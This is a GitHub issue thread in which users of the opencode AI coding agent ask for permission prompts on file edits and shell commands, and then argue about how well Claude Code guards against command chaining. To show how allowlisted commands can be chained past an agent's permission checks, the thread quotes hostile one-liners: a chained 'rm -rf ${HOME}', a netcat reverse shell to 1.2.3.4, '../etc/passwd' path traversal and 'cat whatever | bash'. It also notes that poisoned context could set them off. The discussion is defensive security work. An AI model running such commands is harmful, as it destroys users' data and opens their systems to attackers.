Implement permissions in TUI

Before the rewrite every edit and tool had to be authorized by the user, which I quite liked. Is there no such option anymore?

I understand the discussion in #9, but yeah having no permissions at all is the only thing holding me back from using this tool at the moment. With claude code I can currently scope things down how I like pretty granularly, but even their permission logic is limited and vulnerable. To provide some examples (outside of things like |, &, etc.), I would like to be able to run commands like kubectl get, but not kubectl get secrets, or find . -name "*.log", but not find . -name "*.log" -exec rm {} \;. I think it is an unreasonable ask to attempt covering all edge cases, as script args semantics are arbitrary, but it might be nice to provide users a complete regex based solution that they can manage on their own. If permissions are not a design goal, examples of containerization or some form of sandboxing might be nice to include in docs.

@lieblius

Yeah when applied to command execution and tool calls, this is an absolutely essential security feature. Without fine-grained permissions you're basically forcing users to either run everything inside a sandbox (e.g. container), which can easily be impractical in some scenarios, or to blindly trust up front that it's not going to accidentally do something dangerous, or even worse, deliberately malicious (e.g. due to a malware MCP server or trojaned LLM). As @lieblius mentioned, this is not just about writing files, it's about potential execution of arbitrary commands which is a huge no-no from a security perspective. Good tools should earn trust, not assume it.

I do appreciate the desire to avoid users having to choose what's safe up front. However this is easily achieved with a default list of regexes for commonly used and safe commands, and then allowing users to modify that list.

This is the only blocker preventing this from being allowed in my organisation, and presumably that would be the case in many others too.

this is 100% on our list - the backend is already implemented we'll get to this next week

yeah i'll get this added to tui next week, have some thoughts around how i want the ux

So that I understand, is everything auto accept right now? or is there at least some blacklist like rm, cd etc. that will still require permission / acceptance by the user? Claude Code has often bitten me with being overly eager and I have even had it try and mess with git by reverting to an older change which unfortunately adds additional risk to the defense of "git can protect you".

Thanks for the continued great work!

The lack of a permission prompt for operations is what stops me from trying to use opencode over Claude code as a daily driver. The risk of unintended and destructive changes to the project or even the system is just too high for me.

On OSX, if not a big lift, maybe we could use some Seatbelt policies a la Gemini CLI too?

@adamdotdevin

@adamdotdevin Just checking, the concept of modes in its current implementation is not the final solution for this specific issue right? What is shipped looks great, but just wanted to confirm some sort of fine grained configuration within the bash tool is planned, or some other solution that removes the need for it in the first place.

Yeah modes wasn't meant to address permissions.

I really think permissions will put this on top of the AI coding agents. With this present it would enable editor integration (#216) and to approve changes in Neovim, which I thought would be a big focus of this project, because it says this in the README:

opencode is built by neovim users and the creators of terminal.shop; we are going to push the limits of what's possible in the terminal.

In some respects I like that there is a lot of things opencode will just do without needing permission - but there needs to be some ability to control what it can do. The amount of times it's gone and try to run a sudo command, or launch another tui app (that I'm working on building with opencode) when it tries to test something messing up the session (usually permanently, so have to start anew).

This is the main thing holding me back from using opencode as my main tool. The way I would use it is to allow any non destructive tool calls but confirm any destructive ones. I think the way Claude Code does it is fine. I'm not sure if Claude Code's permissions are on a "command" basis or if you can get granular with approving command with specific parameters. I feel like anything would be better than nothing, but some matching system to approve commands with parameters seems like it would be needed to offer the most flexible experience given that some tools tend to do many different things.

Yes, i have seen claude perform operations i did not allow. Claude CLI have had big issues with command chaining.

Maybe before my time then, it seems they have fixed it. I don't see them saying it is intentional by design in any case.

Allowing the agent to run a command like cat without asking for your permission every time might appear benign… But it is not.

I think we're talking past each other, does it or does it not ask to run cat?

If you always allow cat (or rm, or sudo, or whatever), that's on you, but if it's allowed by default, that's an issue. Sure, awareness of the tools and how they can be exploited is important, no argument.

With that said, Claude and Roo code and many others have tools to "read" safely, so the first thing you should do is simply respond "no" to cat and black list it and let it use the built in safer tools.

You got this right, gemini CLI does not parse chaining commands correctly…

I am sure OpenCode is not the only tool with security problems. But no Gemini cli dev is saying it's a conscious design decision. I'm guessing they fixed it by now?

This means that if you allowed it to run "diff" or any other command without asking it can then use that to execute any command by chaining them. As it starts with "diff" the following would be "diff file1.txt file2.txt && rm -rf ${HOME}"

That's not possible in Claude or Roo code, it will prompt for new chained commands. Try it, even ask it to run that, it won't even if diff is always allowed. Rm should never be always allowed (it is in OpenCode by default).

Since you allowed your sed-wrapper this can be exploited. This would be fine for claude to execute: 'sed asdf |nc 1.2.3.4 5555 -e /bin/bash' and a malicious LLM provider would be free to do whatever on your system via that reverse-shell. Basically anything that can inject things into the context can cause things like this to happen.

Again that's not possible, it handles chained commands and it does prompt. I just asked it to do this even though my wrapper is always allowed and it prompted, I selected "yes" anyway to stress test this, and it died with a prompt to Claude to never chain with this wrapper. This specifically is my own chain handling though, the defaults just prompt and let you override - but I like to err on safety and I don't mind Claude adding extra steps but never chaining my wrappers.

Even if some things get patched there will be more.

The things patched are not real problems if you are working on your own code base, only if you're executing inside of untrusted code bases. Then yes you should take caution.

And you should have backups and an easy way to restore and a good understanding of the tools involved That's not to say it will ever be 100% safe, but it's safe enough in your code base and removes a lot of friction.

If they took security seriously they could have used LD_PRELOAD and injected a function into each child-process.

There are many built in tools so you don't have to rely on external commands nearly as much. It's also easy to make it use wrappers safely enough and block chaining anything you don't explicitly trust.

The built in web search, edit, read, safe execution of explicitly allowed wrappers like say bin/assets compile, etc is safe enough, piping is blocked, paths outside of the code base are blocked, and the defaults are sensible.

CVE details:
This was an example of published exploits.

Have you actually read any of them rated >9? I explained in the previous message why they are not an issue in your own code base. In fact they ask if you trust the code base and then go into read only mode by default if you don't. If you say you trust the code base, again, that's on you.

But the main thrust of what I'm saying is even with untrusted code bases the focus is to add safeguards, not to say it is a design choice.

Symlink-checking. This is in relation to being able to access files outside the project, like being able to access /etc/passwd by opening ../../../../etc/passwd instead of /etc/passwd, not just your own created symlink

No, it can't read symlinks outside of your code base without explicit permission, the symlink must live inside of your code base - and even then, they decided to err on the side of safety and not allow this.

For example I symlink shared docs and wrappers to multiple code basis and I had to explicitly allow it to read the path in each code base because it's outside of the immediate repo.

Adding untrusted things into the context-window is as easy as getting a user to clone a opensource repo and running things against it.

It's equally easy to copy paste "sudo rm -Rf /" - you're making a straw man. Just because it can execute code in a malicious repo that you've explicitly marked as "trusted", that's in no way equivalent to what OpenCode does by default.

I don't like the opencode statement they made about not having better security defaults, but this is also a quite young opensource project. If you don't like something then make a PR with better handling of default-security.

Ok then we agree on the primary point I'm making. Clearly the dev team disagree with us both, which is their right. But if this is a conscious design choice for it to work like this, then what good is a PR that goes against their code philosophy?

@rgaufman

@rgaufman Just stop.

You are still ignoring, or just not understanding basic security concepts. You fail to read and understand what's written. I just read the first few sentences of your response and once again you show your ignorance and lack of understanding.

Yes, i have read and i do understand the CVE's, but you once again you chose to ignore what's said and try to use strawman argumentation to get around what i said. The point i was making with CVE's was not that all those issues still existed but that you have a bunch of unrelated critical issues popping up over and over, and if you think about security in the design of something this is highly unlikely to happen.

Even the Claude github talks about these issues. Go see the timeline of how quickly these things gets fixed after being reported.

I'm not making strawman arguments as i do know what i'm taking about, you claiming i do is just hilarious. Maybe you need to look up what strawman argumentation actually is. Making a direct point of how something can be abused is not strawman argumentation.
Perhaps you should go read the book "Chained Exploits", but i suspect those concepts will be lost on you too.

You don't know what you are talking about and you think Claude is secure when it's track-record show huge issues that go back just 1-2 months.

This is why i say. All agentic coders have these issues and should only be executed in a container with minimal access to the rest of your system.

@rgaufman

@rgaufman Just stop.

Sure. Your message seems to address someone else's arguments, not mine. Read my response again.

First of all, why are you two fighting? You seem to want the same thing.

All agentic coders have these issues

All AI agents that are used for writing code that will be executed have this issue (source code edit + execute). But terminal applications like opencode are not JUST used for writing code. The following cases do not need code execution, benefit from good permissions and secure defaults and would not need to be sandboxed:

Reviewing a codebase
Analyzing a codebase to see what would need to change, then making the changes yourself
Drafting and refining any kind of markdown files (e.g. personal notes or drafts when making a Video)
Asking for concepts or using the AI as a rubber duck to bounce ideas against

All of these benefit form being bash = "ask" being the default and it would be really useful to restrict file reads and writes based on the file extension, for example to only allow editing markdown files. Ideally these could be different based on which directory you are working in.

First of all, why are you two fighting? You seem to want the same thing.

Exactly and well summarised. I don't know who he imaged he was responding to, maybe it's a hallucinating AI bot as it made no sense ;)

@DragonDev1906

@DragonDev1906 It started with that, but he kept insisting that Claude is secure and "take security so seriously" even with proof of the opposite. Making the claims he does is quite dangerous as that may cause others to be lulled into false sense of security.
He also has a habit of making large edits on his posts after getting a reply.

@DragonDev1906

@DragonDev1906 It started with that, but he kept insisting that Claude is secure

Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release.

No system is ever 100% secure, it's a complete straw man to say:

You need to download a malicious repo
Explicitly tell Claude to trust it
Explicitly tell Claude to always allow multiple system binaries that can be exploited

And then claim see? Claude has the same problems, it doesn't. It's safe by default unless you explicitly make it unsafe.

You also made a bunch of false claims about command chaining and symlink reading.

But even in each of these examples, the Claude team add more safeguards instead of saying that "it's by design".

He also has a habit of making large edits on his posts after getting a reply.

Large edits? I clarified a few small points, I didn't see you replied.

@rgaufman

@rgaufman

Don't misrepresent what I said please. I said Claude's defaults are secure enough, they make it more and more secure with every release.

I have not misrepresented what you said. The "take security so seriously" is a direct quote from you regarding claude.
You on the other hand have said i'm making strawman arguments, making false claims and and is hallucinating in my replies, replies i wrote before you made edits.

I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you.

Large edits? I clarified a few small points, I didn't see you replied.

I would not call your edits small as some of them changed the complete meaning of what you where saying.

I'm not gonna give you any more time because you are just full of it.

@rgaufman
I have not misrepresented what you said. The "take security so seriously"

Give the context, they take security so seriously that they add safeguards even when running inside of malicious repositories you explicitly marked as trusted and explicitly allowed code execution in.

It would be so trivial for you to prove me wrong, just give me a prompt to run and let's see if I get prompted by Claude and Roo Code or not. All the prompt examples you gave do not execute, you are ignorant, or lying, or paranoid - or all 3.

They are not building a tool like checkinstall, that is meant to catch and audit everything make install is doing, that's just a totally different product. I'm completely against the suggestions you made and the conclusions you drawn when it comes to security, they are paranoid delusions and not how the vast majority of users use agentic coders.

I have not made any false claims. Everything i have stated i have given you references for. If you are too ignorant to even read and understand those i cannot help you.

You absolutely made a whole bunch of false claims. I keep calling you out on them and you refuse to provide any reproducible prompt (for the current or any past version for that matter). Give me a prompt, that will do what you claim, in my own code base - I'll wait...

Every reference you provided, including the "severe" ones, require multiple steps by the user to explicitly allow, some times as many as 5 steps. I keep repeating this critical point, you keep pretending I never said it. And even those examples which require overriding all defaults and lying to Claude, they've added safeguards against - which they didn't have to do. Those are situations where I wouldn't actually be against them saying, sorry, that's a design decision - we prompted you, it's on you.

Please try to read carefully and understand. You'll be able to get rid of your VMs and have a much better experience with agentic coders:

Chaining: Just because you whitelisted cat (which is NOT the default), doesn't mean that "cat whatever | bash" will be permitted or even "cat whatever >path", unless you also whitelist bash and whitelist the path. If you're worried about this, disable execution of commands (which is the default), it's perfectly safe to run out of the box as nothing will execute. Are there tools other than OpenCode on the Internet that have/had a chaining problem? - I'm sure there are, that's a strawman.
Individual Commands: Even simple things like if you always allow "biome lint", it will prompt again for "biome anything". Not only are you required to allow the command, it will prompt for new kinds of arguments. But if you're going to let it execute anything, make sure you understand what it is. If you're going to allow all, then sure, do it in a VM or have a backup of your system in the unlikely situation it ends up bricking it. But you are in control, none of this happens without you explicitly allowing it/
Paths: No, if you pass ../anything or /anything, to any command, either directly or in the chain, it immediately prompts.
Symlinks: No, it won't read symlinks outside of the repo without explicit permissions. And now it won't even read symlinks INSIDE of your repo, if they happen to point anywhere outside of it, you have to explicitly allow it.
Executing: No, it won't execute anything unless explicitly permitted.
Trusting Repositories: No, it will not trust any code base unless YOU explicitly tell it to.

You want to run a VM for every VS code and Claude process? - you go right ahead, waste your time. Others will read my comment and laugh, seeing how ridiculous your arguments are, impossible to reproduce, and require hypotheticals like: "what if you download a virus and trust the repo and allow execution? OMG!"

Large edits? I clarified a few small points, I didn't see you replied.

changed the complete meaning of what you where saying.

Another one of those easy to prove, show me an edit that "changed the complete meaning".

Stop lying making false statements about me. You have no clue about what you are talking about. Accusing me of lying and making false statements is ridiculous.

@thdxr

@thdxr @adamdotdevin @rekram1-node @fwang

sorry for the ping, but the discussion above is getting out of control and it's no longer covering any updates about when this feature will arrive, probably worth locking.

@rekram1-node

Dax is reworking the defaults / permissions and I think you'll be happier w/ it @rekram1-node

Was this ever added. I started using opencode today and was surprised how it was able to do everything without asking for it. Don't think I saw a prompt asking me for what I want my defaults to be

feat: Update openwork to 0.3.6, refine PKGBUILD's .deb extraction, an…

I would have expected something like copilot-cli has, so that you can basically review each edit before being actually done, and in case address the issues early.

refactor(engine): integrate internal LSP hooks [anomalyco#239]

Navigation Menu

Repository navigation

Implement permissions in TUI #239

46 remaining items

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Implement permissions in TUI #239

Description

Activity

lieblius commented on Jun 27, 2025

aspiers commented on Jun 27, 2025

bchilcott commented on Jul 1, 2025

thdxr commented on Jul 4, 2025

adamdotdevin commented on Jul 5, 2025

GitMurf commented on Jul 8, 2025

dnlbauer commented on Jul 9, 2025

mhsdef commented on Jul 9, 2025

lieblius commented on Jul 10, 2025

jayair commented on Jul 11, 2025

Keyruu commented on Jul 16, 2025

JonBoyleCoding commented on Jul 20, 2025

peloemlyn commented on Jul 23, 2025

46 remaining items

rgaufman commented on Dec 16, 2025

pakar commented on Dec 16, 2025

rgaufman commented on Dec 17, 2025

DragonDev1906 commented on Dec 17, 2025

rgaufman commented on Dec 17, 2025

pakar commented on Dec 17, 2025

rgaufman commented on Dec 17, 2025

pakar commented on Dec 17, 2025

rgaufman commented on Dec 18, 2025

pakar commented on Dec 18, 2025

mnaser commented on Dec 19, 2025

Thib-ai commented on Apr 2, 2026

3v1n0 commented on Jul 23, 2026

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions